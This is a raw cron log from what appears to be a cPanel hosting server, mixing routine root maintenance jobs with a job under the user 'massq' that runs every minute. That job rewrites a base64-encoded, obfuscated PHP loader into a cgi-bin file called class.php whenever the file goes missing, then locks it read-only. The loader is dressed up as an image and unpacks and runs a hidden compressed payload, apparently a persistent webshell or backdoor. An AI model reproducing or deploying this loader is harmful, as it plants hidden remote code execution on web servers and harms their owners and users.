Sep  3 22:40:01 server CROND[8248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:40:01 server CROND[8256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:41:01 server CROND[9086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:41:01 server CROND[9087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:41:01 server CROND[9085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:42:01 server CROND[9462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:42:01 server CROND[9464]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 22:42:01 server CROND[9465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:42:01 server CROND[9463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:43:01 server CROND[9830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:43:01 server CROND[9831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:43:01 server CROND[9832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:44:01 server CROND[10301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:44:01 server CROND[10302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:44:01 server CROND[10303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:45:01 server CROND[10699]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 22:45:01 server CROND[10700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:45:01 server CROND[10703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:45:01 server CROND[10705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:45:01 server CROND[10704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:45:01 server CROND[10701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:45:01 server CROND[10706]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:46:01 server CROND[11520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:46:01 server CROND[11521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:46:01 server CROND[11522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:47:01 server CROND[11906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:47:01 server CROND[11908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:47:01 server CROND[11907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:48:01 server CROND[12277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:48:01 server CROND[12278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:48:01 server CROND[12279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:49:01 server CROND[12767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:49:01 server CROND[12769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:49:01 server CROND[12768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:50:01 server CROND[13158]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 22:50:01 server CROND[13159]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:50:01 server CROND[13160]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:50:01 server CROND[13161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:50:01 server CROND[13166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:50:01 server CROND[13168]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:50:01 server CROND[13170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:50:01 server CROND[13167]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 22:50:01 server CROND[13169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:51:01 server CROND[14023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:51:01 server CROND[14024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:51:01 server CROND[14025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:52:01 server CROND[14386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:52:01 server CROND[14387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:52:01 server CROND[14388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
